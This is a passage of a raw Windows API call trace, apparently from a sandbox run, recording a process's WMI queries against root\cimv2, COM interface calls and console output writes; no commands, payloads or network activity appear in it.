puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.848] IWbemClassObject:Get (in: This=0x5ce4808, wszName="WriteInformationStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829c14*=0, plFlavor=0x2829c18*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829c14*=0, plFlavor=0x2829c18*=0) returned 0x80041002 [0136.848] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0136.850] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5ce6128) returned 0x0 [0136.850] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0136.850] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5ce6128, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5ce6288) returned 0x0 [0136.850] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x0 [0136.850] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6288, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5ce6288) returned 0x0 [0136.850] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6288, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0136.851] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6288) returned 0x3 [0136.851] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6288, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0136.851] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6288, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0136.851] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6288, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0136.851] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0136.851] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0136.851] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6288, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0136.851] WbemStatusCodeText:IUnknown:Release (This=0x5ce6288) returned 0x2 [0136.851] WbemStatusCodeText:IUnknown:Release (This=0x5ce6288) returned 0x1 [0136.851] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0136.851] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0136.851] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6288, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5ce6288) returned 0x0 [0136.851] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6288) returned 0x3 [0136.851] WbemStatusCodeText:IUnknown:Release (This=0x5ce6288) returned 0x2 [0136.851] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5ce6288, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0136.851] SysStringByteLen (bstr="Not found ") returned 0x14 [0136.855] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59feb0c | out: lpConsoleScreenBufferInfo=0x59feb0c) returned 1 [0136.966] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe1f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0136.966] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59feb04 | out: lpMode=0x59feb04) returned 1 [0136.967] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59feaf8, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59feaf8*=0x2) returned 1 [0136.968] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59feaa8 | out: lpConsoleScreenBufferInfo=0x59feaa8) returned 1 [0136.972] GetConsoleOutputCP () returned 0x1b5 [0136.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe90c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe90c) returned 0 [0136.974] GetConsoleOutputCP () returned 0x1b5 [0136.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe994, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe994) returned 0 [0136.974] GetConsoleOutputCP () returned 0x1b5 [0136.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.974] GetConsoleOutputCP () returned 0x1b5 [0136.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.974] GetConsoleOutputCP () returned 0x1b5 [0136.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe90c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe90c) returned 0 [0136.974] GetConsoleOutputCP () returned 0x1b5 [0136.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe994, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe994) returned 0 [0136.975] GetConsoleOutputCP () returned 0x1b5 [0136.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.975] GetConsoleOutputCP () returned 0x1b5 [0136.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.975] GetConsoleOutputCP () returned 0x1b5 [0136.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe90c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe90c) returned 0 [0136.975] GetConsoleOutputCP () returned 0x1b5 [0136.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe994, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe994) returned 0 [0136.975] GetConsoleOutputCP () returned 0x1b5 [0136.976] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.976] GetConsoleOutputCP () returned 0x1b5 [0136.976] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.976] GetConsoleOutputCP () returned 0x1b5 [0136.976] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe90c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe90c) returned 0 [0136.976] GetConsoleOutputCP () returned 0x1b5 [0136.976] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe994, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe994) returned 0 [0136.976] GetConsoleOutputCP () returned 0x1b5 [0136.976] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.977] GetConsoleOutputCP () returned 0x1b5 [0136.977] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe970, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe970) returned 0 [0136.977] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fea5c | out: lpConsoleScreenBufferInfo=0x59fea5c) returned 1 [0136.977] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea54 | out: lpMode=0x59fea54) returned 1 [0136.977] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282adcc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59fea48, lpReserved=0x0 | out: lpBuffer=0x282adcc*, lpNumberOfCharsWritten=0x59fea48*=0x4f) returned 1 [0136.978] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea54 | out: lpMode=0x59fea54) returned 1 [0136.979] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fea48, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fea48*=0x2) returned 1 [0136.979] GetConsoleOutputCP () returned 0x1b5 [0136.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fea30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fea30) returned 0 [0136.979] GetConsoleOutputCP () returned 0x1b5 [0136.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fea30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fea30) returned 0 [0136.979] GetConsoleOutputCP () returned 0x1b5 [0136.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fea30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fea30) returned 0 [0136.980] GetConsoleOutputCP () returned 0x1b5 [0136.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fea30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fea30) returned 0 [0136.980] GetConsoleOutputCP () returned 0x1b5 [0136.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.980] GetConsoleOutputCP () returned 0x1b5 [0136.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.980] GetConsoleOutputCP () returned 0x1b5 [0136.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.980] GetConsoleOutputCP () returned 0x1b5 [0136.981] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.981] GetConsoleOutputCP () returned 0x1b5 [0136.981] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.981] GetConsoleOutputCP () returned 0x1b5 [0136.981] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.981] GetConsoleOutputCP () returned 0x1b5 [0136.981] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.981] GetConsoleOutputCP () returned 0x1b5 [0136.981] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9c0) returned 0 [0136.981] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fea5c | out: lpConsoleScreenBufferInfo=0x59fea5c) returned 1 [0136.982] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea54 | out: lpMode=0x59fea54) returned 1 [0136.982] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282b270*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59fea48, lpReserved=0x0 | out: lpBuffer=0x282b270*, lpNumberOfCharsWritten=0x59fea48*=0x4f) returned 1 [0136.982] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea54 | out: lpMode=0x59fea54) returned 1 [0136.983] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fea48, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fea48*=0x2) returned 1 [0136.983] GetConsoleOutputCP () returned 0x1b5 [0136.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.984] GetConsoleOutputCP () returned 0x1b5 [0136.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.984] GetConsoleOutputCP () returned 0x1b5 [0136.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.984] GetConsoleOutputCP () returned 0x1b5 [0136.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.984] GetConsoleOutputCP () returned 0x1b5 [0136.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.984] GetConsoleOutputCP () returned 0x1b5 [0136.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.985] GetConsoleOutputCP () returned 0x1b5 [0136.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.985] GetConsoleOutputCP () returned 0x1b5 [0136.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0136.985] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fea90 | out: lpConsoleScreenBufferInfo=0x59fea90) returned 1 [0136.985] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0136.985] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282b6e4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x282b6e4*, lpNumberOfCharsWritten=0x59fea7c*=0x4f) returned 1 [0136.986] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0136.986] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fea7c*=0x2) returned 1 [0136.986] CoGetContextToken (in: pToken=0x59fec8c | out: pToken=0x59fec8c) returned 0x0 [0136.987] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee44 | out: ppEnum=0x59fee44*=0x6c03c8) returned 0x0 [0137.085] IUnknown:QueryInterface (in: This=0x6c03c8, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x6c03cc) returned 0x0 [0137.085] IClientSecurity:QueryBlanket (in: This=0x6c03cc, pProxy=0x6c03c8, pAuthnSvc=0x59fed50, pAuthzSvc=0x59fed4c, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48, pImpLevel=0x59fed38, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40 | out: pAuthnSvc=0x59fed50*=0xa, pAuthzSvc=0x59fed4c*=0x0, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48*=0x6, pImpLevel=0x59fed38*=0x2, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40*=0x1) returned 0x0 [0137.085] IUnknown:Release (This=0x6c03cc) returned 0x1 [0137.085] IUnknown:QueryInterface (in: This=0x6c03c8, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf4 | out: ppvObject=0x59fecf4*=0x720f64) returned 0x0 [0137.085] IUnknown:QueryInterface (in: This=0x6c03c8, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fece0 | out: ppvObject=0x59fece0*=0x6c03cc) returned 0x0 [0137.085] IClientSecurity:SetBlanket (This=0x6c03cc, pProxy=0x6c03c8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0137.125] IUnknown:Release (This=0x6c03cc) returned 0x2 [0137.125] WbemLocator:IUnknown:Release (This=0x720f64) returned 0x1 [0137.126] CoTaskMemFree (pv=0x5cea030) [0137.126] IUnknown:AddRef (This=0x6c03c8) returned 0x2 [0137.126] CoGetContextToken (in: pToken=0x59fe210 | out: pToken=0x59fe210) returned 0x0 [0137.126] CoGetContextToken (in: pToken=0x59fe624 | out: pToken=0x59fe624) returned 0x0 [0137.126] IUnknown:QueryInterface (in: This=0x6c03c8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5bc | out: ppvObject=0x59fe5bc*=0x720f4c) returned 0x0 [0137.126] WbemLocator:IRpcOptions:Query (in: This=0x720f4c, pPrx=0x5cc94b8, dwProperty=2, pdwValue=0x59fe6b0 | out: pdwValue=0x59fe6b0) returned 0x80004002 [0137.127] WbemLocator:IUnknown:Release (This=0x720f4c) returned 0x2 [0137.127] CoGetContextToken (in: pToken=0x59febf4 | out: pToken=0x59febf4) returned 0x0 [0137.127] CoGetContextToken (in: pToken=0x59feb54 | out: pToken=0x59feb54) returned 0x0 [0137.127] IUnknown:QueryInterface (in: This=0x6c03c8, riid=0x59fec24*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feaf0 | out: ppvObject=0x59feaf0*=0x6c03c8) returned 0x0 [0137.127] IUnknown:Release (This=0x6c03c8) returned 0x2 [0137.127] SysStringLen (param_1=0x0) returned 0x0 [0137.127] IEnumWbemClassObject:Reset (This=0x6c03c8) returned 0x0 [0137.137] CoTaskMemAlloc (cb=0x4) returned 0x5ce62b8 [0137.137] IEnumWbemClassObject:Next (in: This=0x6c03c8, lTimeout=-1, uCount=0x1, apObjects=0x5ce62b8, puReturned=0x282b830 | out: apObjects=0x5ce62b8*=0x6f6768, puReturned=0x282b830*=0x1) returned 0x0 [0137.149] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe49c | out: ppvObject=0x59fe49c*=0x6f6768) returned 0x0 [0137.149] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe450 | out: ppvObject=0x59fe450*=0x0) returned 0x80004002 [0137.149] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe278 | out: ppvObject=0x59fe278*=0x0) returned 0x80004002 [0137.150] IUnknown:AddRef (This=0x6f6768) returned 0x3 [0137.150] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddac | out: ppvObject=0x59fddac*=0x0) returned 0x80004002 [0137.150] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd5c | out: ppvObject=0x59fdd5c*=0x0) returned 0x80004002 [0137.150] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd68 | out: ppvObject=0x59fdd68*=0x6f676c) returned 0x0 [0137.150] IMarshal:GetUnmarshalClass (in: This=0x6f676c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd70 | out: pCid=0x59fdd70*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0137.150] IUnknown:Release (This=0x6f676c) returned 0x3 [0137.150] CoGetContextToken (in: pToken=0x59fddc8 | out: pToken=0x59fddc8) returned 0x0 [0137.150] CoGetContextToken (in: pToken=0x59fe1dc | out: pToken=0x59fe1dc) returned 0x0 [0137.150] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe25c | out: ppvObject=0x59fe25c*=0x0) returned 0x80004002 [0137.150] IUnknown:Release (This=0x6f6768) returned 0x2 [0137.150] CoGetContextToken (in: pToken=0x59fe7c4 | out: pToken=0x59fe7c4) returned 0x0 [0137.150] CoGetContextToken (in: pToken=0x59fe724 | out: pToken=0x59fe724) returned 0x0 [0137.150] IUnknown:QueryInterface (in: This=0x6f6768, riid=0x59fe7f4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe7f0 | out: ppvObject=0x59fe7f0*=0x6f6768) returned 0x0 [0137.151] IUnknown:AddRef (This=0x6f6768) returned 0x4 [0137.151] IUnknown:Release (This=0x6f6768) returned 0x3 [0137.151] IUnknown:Release (This=0x6f6768) returned 0x2 [0137.151] CoTaskMemFree (pv=0x5ce62b8) [0137.151] CoGetContextToken (in: pToken=0x59feb34 | out: pToken=0x59feb34) returned 0x0 [0137.151] IUnknown:AddRef (This=0x6f6768) returned 0x3 [0137.151] CoTaskMemAlloc (cb=0x4) returned 0x5ce62b8 [0137.151] IEnumWbemClassObject:Next (in: This=0x6c03c8, lTimeout=-1, uCount=0x1, apObjects=0x5ce62b8, puReturned=0x282b830 | out: apObjects=0x5ce62b8*=0x0, puReturned=0x282b830*=0x0) returned 0x1 [0137.164] CoTaskMemFree (pv=0x5ce62b8) [0138.186] CoTaskMemAlloc (cb=0x4) returned 0x5ce62b8 [0138.186] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5ce62b8, puReturned=0x2655e30 | out: apObjects=0x5ce62b8*=0x0, puReturned=0x2655e30*=0x0) returned 0x1 [0138.187] CoTaskMemFree (pv=0x5ce62b8) [0138.188] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0138.188] IUnknown:Release (This=0x6c0878) returned 0x1 [0138.189] IUnknown:Release (This=0x6c0878) returned 0x0 [0138.195] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0138.195] IUnknown:Release (This=0x6c07b0) returned 0x1 [0138.195] IUnknown:Release (This=0x6c07b0) returned 0x0 [0138.200] CoGetContextToken (in: pToken=0x59feb6c | out: pToken=0x59feb6c) returned 0x0 [0138.200] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0138.200] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0138.200] CoUnmarshalInterface (in: pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59feac0 | out: ppv=0x59feac0*=0x720ba4) returned 0x0 [0138.201] CoMarshalInterface (pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x720ba4, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0138.201] WbemLocator:IUnknown:QueryInterface (in: This=0x720ba4, riid=0x59feb9c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, 